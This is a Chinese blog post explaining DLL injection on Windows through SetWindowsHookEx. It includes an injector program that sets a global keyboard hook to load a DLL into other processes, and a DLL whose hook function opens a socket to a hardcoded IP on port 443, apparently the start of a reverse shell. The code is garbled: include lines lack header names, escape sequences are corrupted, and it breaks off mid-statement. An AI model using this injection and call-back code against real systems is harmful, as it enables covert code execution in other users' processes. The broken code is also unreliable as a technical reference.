您当前的位置: 首页 >  windows

鱼儿-1226

暂无认证

  • 0浏览

    0关注

    1100博文

    0收益

  • 0浏览

    0点赞

    0打赏

    0留言

私信
关注
热门博文

DLL注入的几种姿势(一):Windows Hooks

鱼儿-1226 发布时间:2020-07-27 10:56:42 ,浏览量:0

DLL注入的目的是将代码放进另一个进程的地址空间中,所以要怎样才能实现DLL注入呢?

其实在Windows中有好几种方法可以实现,这里我们首先尝试通过“SetWindowsHookEx”创建钩子(hooks)来实现。另外如果你对这方面很感兴趣,可以参考文章最底下的相关文献,这些文献包含大量的代码以及其他有用的信息。

Windows Hooks

首先我们需要理解Windows的hook机制和API函数SetWindowsHookEx。Hook 机制允许应用程序截获处理窗口消息或特定事件。而钩子又可以分为多种,例如WH_KEYBOARD和WH_MOUSE,这两种钩子可以分别用来监视键盘和鼠标的消息。同样也存在这些钩子的低版本。要想理解Hook机制,必须要清楚的是每一个Hook事件的发生都有一个与之相关联的指针列表,称之为Hook链表。这个链表存在一系列的子进程,并且伴随着事件而执行。

下面是Hook子程的语法,来源MSDN:

使用SetWindowsHookEx实现DLL注入

使用API函数SetWindowsHookEx()把一个应用程序定义的Hook子程安装到 Hook链表中。这是该函数的语法,来源MSDN:

idHook是Hook的类型,lpfn是Hook子程的地址指针,hMod是应用程序实例的句柄,最后dwThreadId标识当前进程创建的线程。为了要让lpfn指向子程,首先通过LoadLibrary函数加载DLL文件至exe文件的地址空间中。然后通过GetProcessAddress获得所需函数的地址。最后调用SetWindowsHookEx,等待我们设置好的事件发生或者创建一个类似BroadcastSystemMessage的消息服务。一旦事件发生,Windows将会加载DLL至目标进程的地址空间中。

代码

下面的代码来源这里,首先通过LoadLibrary函数将DLL加载至可执行程序中。调用GetProcessAddress函数从DLL中获取注入地址。最后设置一个全局钩子(参数设置为0表示监视全局线程),监视程序。

injector.c

#include 

int main(int argc, char* argv)
{
    /*
    Loads inject.dll into the address space of the calling function, in this case the running exe
    */
    HMODULE dll = LoadLibrary("inject.dll");
    if(dll == NULL)
    {
        printf("Cannot find DLL");
        getchar();
        return -1;
    }

    /*
    Gets the address of the inject method in the inject.dll
    */
    HOOKPROC addr = (HOOKPROC)GetProcAddress(dll, "inject");
    if(addr == NULL)
    {
        printf("Cannot find the function");
        getchar();
        return -1;
    }

    /*
    Places a hook in the hookchain for WH_KEYBOARD type events, using the address for the inject method, with the library address
    */
    HHOOK handle = SetWindowsHookEx(WH_KEYBOARD, addr, dll, 0);
    if(handle == NULL)
    {
        printf("Couldn't hook the keyboard");
    }

    printf("Hooked the program, hit enter to exit");
    getchar();
    UnhookWindowsHookEx(handle);

    return 0;
}

injectShell.c

#include 
#include 
#include 

INT APIENTRY DllMain(HMODULE hDll, DWORD Reason, LPVOID Reserved)
{
    FILE *file;
    fopen_s(&file, "C:\temp.txt", "a+");

    switch(Reason)
    {
        case DLL_PROCESS_ATTACH:
            fprintf(file, "DLL attach function called.n");
            break;
        case DLL_PROCESS_DETACH:
            fprintf(file, "DLL detach function called.n");
            break;
        case DLL_THREAD_ATTACH:
            fprintf(file, "DLL thread attach function called.n");
            break;
        case DLL_THREAD_DETACH:
            fprintf(file, "DLL thread detach function called.n");
            break;
    }

    fclose(file);

    return TRUE;
}


int inject(int code, WPARAM wParam, LPARAM lParam)
{

    WSADATA wsa;
    SOCKET s;
    struct sockaddr_in server;
    char *message;

    printf("\nInitializing Winsock...");
    if(WSAStartup(MAKEWORD(2,2),&wsa) != 0)
    {
        printf("Failed. Error Code : %d", WSAGetLastError());
        return(CallNextHookEx(NULL, code, wParam, lParam));
    }

    printf("Initialized. \n");

    if((s = socket(AF_INET, SOCK_STREAM, 0 )) == INVALID_SOCKET)
    {
        printf("Could not create socket : %d", WSAGetLastError());
    }

    printf("Socket Created. \n");

    server.sin_addr.s_addr = inet_addr("192.168.146.130"); //ip address
    server.sin_family = AF_INET;
    server.sin_port = htons( 443 );

    if(connect(s, (struct sockaddr *)&server, sizeof(server))             
关注
打赏
1604459285
查看更多评论
立即登录/注册

微信扫码登录

0.0439s